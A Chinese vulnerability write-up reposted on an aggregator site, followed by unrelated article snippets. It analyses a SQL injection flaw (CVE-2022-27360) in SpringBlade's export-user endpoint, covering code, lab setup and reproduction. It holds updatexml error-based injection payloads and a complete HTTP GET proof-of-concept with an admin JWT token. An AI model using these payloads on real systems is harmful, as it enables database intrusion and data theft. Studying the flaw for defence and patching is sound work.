SpringBlade CVE-2022-27360 export-user SQL 注入漏洞分析

漏洞描述

SpringBlade是一个基于Spring Cloud和Spring Boot的开发框架,旨在简化和加速微服务架构的开发过程。它提供了一系列开箱即用的功能和组件,帮助开发人员快速构建高效可靠的微服务应用。该产品/api/blade-user/export-user接口存在SQL注入。

漏洞影响版本

SpringBlade <= v3.2.0

产品项目地址

SpringBlade: SpringBlade 是一个由商业级项目升级优化而来的微服务架构,采用Spring Boot 2.7 、Spring Cloud 2021 等核心技术构建,完全遵循阿里巴巴编码规范。提供基于React和Vue的两个前端框架用于快速搭建企业级的SaaS多租户微服务平台。icon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade

项目源码下载

SpringBlade 发行版 - Gitee.comicon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade/releases

漏洞分析

位于包package org.springblade.modules.system.controller;下的UserController

其中有方法 exportUser

该方法引用了QueryWrapper做为sql的查询条件,其中Map<String, Object> user是我们可控的参数

QueryWrapper使得sql语句变成如下这样的形式

SELECT * FROM user WHERE key = 'value' AND key = value AND is_deleted = 0

sql语句中where后面的数据 是我们可控的,如此我们尝试构造如下sql语句

SELECT * FROM `blade_user` WHERE updatexml(1,concat(0x7e,user(),0x7e),1)=1;
SELECT * FROM `blade_user` WHERE 1=updatexml(1,concat(0x7e,user(),0x7e),1);
SELECT * FROM `blade_user` WHERE updatexml(1,concat(0x7e,user(),0x7e),1);

先在本地测试一下

payload可以造成sql注入

 补充! 这里还要考虑到底层的sql语句是否采用了预编译机制

找寻MyBatis 的 XML 映射文件 exportUser方法

上面的是定义的接口下方是使用xml对接口的实现 。系统采用的${}的方式,这不是预编译的机制,可以造成sql注入

漏洞环境搭建

{本次踩的坑有点多,不想细说了}

本地项目前后端分离,下载下面链接的前后端项目

项目源码下载

SpringBlade 发行版 - Gitee.comicon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade/releases

后端 配置好mysql redis 直接启动

前端 在项目中执行两条命令直接启动

npm install //下载前端所需包

npm start // 启动前端项目

项目搭建有问题的,可以看官方参考文档

Wiki - Gitee.comicon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade/wikis/SpringBlade%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C

漏洞复现

打开环境web 登录页面

在用户管理页面选择导出数据

burp抓包 增加sql注入payload

sql语句成功执行,漏洞复现成功。

附赠poc

GET /api/blade-user/export-user?blade-auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwidG9rZW5fdHlwZSI6ImFjY2Vzc190b2tlbiIsImRlcHRfaWQiOiIxMTIzNTk4ODEzNzM4Njc1MjAxIiwiYWNjb3VudCI6ImFkbWluIiwiY2xpZW50X2lkIjoic3dvcmQiLCJleHAiOjE3MDkxMDQyMDcsIm5iZiI6MTcwOTEwMDYwN30.-Nniy1hq-gVtymm1MFWgbAuTOjwiMMheMccrXoIeeL4hbpRqMS2Fbsmf7EiJWBwMqSPX_Us4MAPevRdZVauNEQ&account=&realName=&updatexml(1,concat(0x7e,user(),0x7e),1)=1 HTTP/1.1
Host: 192.168.116.128:1888

注意:blade-auth是必要的 ,本次测试时只要admin登录情况下这串blade-auth就是可用的 貌似生成不够随机,这也算是另一个漏洞了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/717736.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java - List集合与Array数组的相互转换

一、List 转 Array 使用集合转数组的方法&#xff0c;必须使用集合的 toArray(T[] array)&#xff0c;传入的是类型完全一样的数组&#xff0c;大小就是 list.size() public static void main(String[] args) throws Exception {List<String> list new ArrayList<S…

无处不在的智慧:探索嵌入式系统的奇妙

无处不在的智慧&#xff1a;探索嵌入式系统的奇妙 嵌入式系统作为当今科技领域中无处不在的一种技术&#xff0c;其奇妙之处正在逐步被揭示和探索。从智能家居到智能穿戴设备&#xff0c;从工业自动化到医疗健康&#xff0c;嵌入式系统已经深入到我们生活和工作的方方面面&…

分布式ID生成策略-雪花算法Snowflake

分布式ID生成策略-雪花算法Snowflake 一、其他分布式ID策略1.UUID2.数据库自增与优化2.1 优化1 - 共用id自增表2.2 优化2 - 分段获取id 3.Reids的incr和incrby 二、雪花算法Snowflake1.雪花算法的定义2.基础雪花算法源码解读3.并发1000测试4.如何设置机房和机器id4.雪花算法时钟…

【misc | CTF】BUUCTF 二维码

天命&#xff1a;这题使用到脚本暴力破解压缩包文件里面的密码&#xff0c;还是比较有意思的 一开始是一个二维码&#xff0c;扫码进去有一个假flag 扔进图片隐写工具&#xff0c;啥也没有&#xff0c;都是同一个二维码 使用工具&#xff1a;foremost&#xff0c;直接分离图片&…

【详识JAVA语言】抽象类和接口

抽象类 抽象类概念 在面向对象的概念中&#xff0c;所有的对象都是通过类来描绘的&#xff0c;但是反过来&#xff0c;并不是所有的类都是用来描绘对象的&#xff0c;如果 一个类中没有包含足够的信息来描绘一个具体的对象&#xff0c;这样的类就是抽象类。 比如&#xff1a;…

水印相机小程序源码

水印相机前端源码&#xff0c;本程序无需后端&#xff0c;前端直接导入即可&#xff0c;没有添加流量主功能&#xff0c;大家开通后自行添加 源码搜索&#xff1a;源码软件库 注意小程序后台的隐私权限设置&#xff0c;前端需要授权才可使用 真实时间地址拍照记录&#xff0c…

Endnote x9 最快方法批量导入.enw格式文件

按照网上看到的一个方法直接选中所有enw批量拖拽到 All references 附件不行啊&#xff0c; 以为只能写bat脚本方式了 经过一番尝试&#xff0c;惊人的发现拖到下面这个符号的地方就行了&#xff01;&#xff01;&#xff01; 如果不成功的话&#xff0c;可能&#xff1a; 我…

使用typescript实现引入vue3生命周期函数的基础知识整理

在Vue 3中&#xff0c;生命周期函数被更改为组合式API&#xff0c;并且不再使用官方命名的生命周期钩子函数。不过&#xff0c;我们仍然可以模拟类似的功能&#xff0c;使用onBeforeMount、onMounted、onBeforeUpdate、onUpdated、onBeforeUnmount、onUnmounted等组合式API。 …

浅谈vue的自定义指令

Vue 的自定义指令是一种强大的工具&#xff0c;允许你为 DOM 元素添加自定义行为。自定义指令可以通过 Vue 的 Vue.directive() 全局 API 或组件内的 directives 选项来定义。 下面是如何使用 Vue 的自定义指令的基本步骤&#xff1a; 全局注册自定义指令 Vue.directive(foc…

js 手写深拷贝方法

文章目录 一、深拷贝实现代码二、代码讲解2.1 obj.constructor(obj)2.2 防止循环引用手写一个深拷贝是我们常见的面试题,在实现过程中我们需要考虑的类型很多,包括对象、数组、函数、日期等。以下就是深拷贝实现逻辑 一、深拷贝实现代码 const originalObject = {string: H…

蓝桥杯复习之差分

题目&#xff1a;空调 题目链接&#xff1a;https://www.acwing.com/problem/content/description/4265/ 思路&#xff1a; 对希望温度与实际温度做差&#xff0c;再对这个做差数组做差分。我们的每次操作等价于在差分数组中选一个数加一或者选两个数一个加一&#xff0c…

【小沐学GIS】QGIS安装和入门使用

文章目录 1、简介2、下载和安装3、使用3.1 XYZ Tiles3.2 WMS / WMTS3.3 GeoJson文件加载 4、在线资源结语 1、简介 QGIS是一款开源地理信息系统。该项目于2002年5月诞生&#xff0c;同年6月作为SourceForge上的一个项目建立。QGIS目前运行在大多数Unix平台、Windows和macOS上。…

奥尔特曼被曝身价超过140亿,但并未在OpenAI持股

作为OpenAI CEO和新一轮AI热潮代表人物&#xff0c;奥尔特曼&#xff08;Sam Altman&#xff09;却没有在OpenAI公司赚到“身价”。 钛媒体AGI 3月3日消息&#xff0c;据彭博亿万富翁指数最新数据显示&#xff0c;今年38岁的奥尔特曼最新身价&#xff08;净收入&#xff09;至少…

什么是区块链粉尘攻击?

文章目录 一、什么是粉尘&#xff1f;二、什么是粉尘攻击&#xff1f;三、粉尘攻击的危害3.1 钓鱼式攻击3.2 揭露该钱包和其所有者的详细信息3.3 造成链上网络拥堵 四、可能使用粉尘交易的人群五、如何避免粉尘攻击&#xff1f; 一、什么是粉尘&#xff1f; 粉尘的含义为小额资…

无穷积分例子

以下几个题容易出错&#xff0c;特意记录一下。 判断积分式的敛散性 ∫ − ∞ ∞ 1 x 2 e 1 x d x \int _{-\infty } ^ {\infty} \frac{1}{x^2} e ^{\frac{1}{x}} dx ∫−∞∞​x21​ex1​dx 要注意瑕点0的处理。无穷积分&#xff0c;一般将积分域按瑕点拆分并分别积分。 判断…

阿里面试,有点焦虑。。

恭喜发现宝藏&#xff01;搜索公众号【TechGuide】回复公司名&#xff0c;解锁更多新鲜好文和互联网大厂的笔经面经&#xff0c;目前已更新至美团、字节… 作者TechGuide【全网同名】 聊聊春招 春招来了&#xff0c;有些24届校招生可能还在做最后的努力&#xff0c;有些25届的…

国辰智企MES系统优化企业管理,让生产制造更高效

在制造业的舞台上&#xff0c;MES制造执行管理系统如同一位出色的导演&#xff0c;将生产过程中的各个场景巧妙地连接起来&#xff0c;演绎出一场场精彩的制造盛宴。让我们一同走进MES在制造业的具体应用场景&#xff0c;感受它带来的变革与创新。 在生产计划与调度的场景中&am…

[数据结构]栈

1.栈的概念及结构 栈&#xff1a;一种特殊的线性表&#xff0c;其只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除操作的一端称为栈顶&#xff0c;另一端称为栈底。栈中的数据元素遵守后进先出的原则。 压栈&#xff1a;栈的插入操作叫做进栈/压栈/入栈&#…

[ai笔记14] 周鸿祎的ai公开课笔记1

欢迎来到文思源想的ai空间&#xff0c;这是技术老兵重学ai以及成长思考的第14篇分享&#xff01; 本周二月的最后一周&#xff0c;并不是闲下来了&#xff0c;反而是开始进行一些更多的深入实践&#xff0c;关于gpt的主体架构、关于prompt&#xff0c;同时也看了不少书和直播&…

行业独角兽—Matic Network来临,成就百万富翁的项目!

Matic Network由印度Bangalore及日本超级节点打造 &#xff0c;独创保险仓九仓共振循环模式。 Mtc于2023年初完成了700万美元的种子轮融资&#xff0c; Paradigm领投&#xff0c;a16z、Variant、Solana Ventures和Jump Crypto参投&#xff0c;旨在全方位布局Web3.0的去中心化生…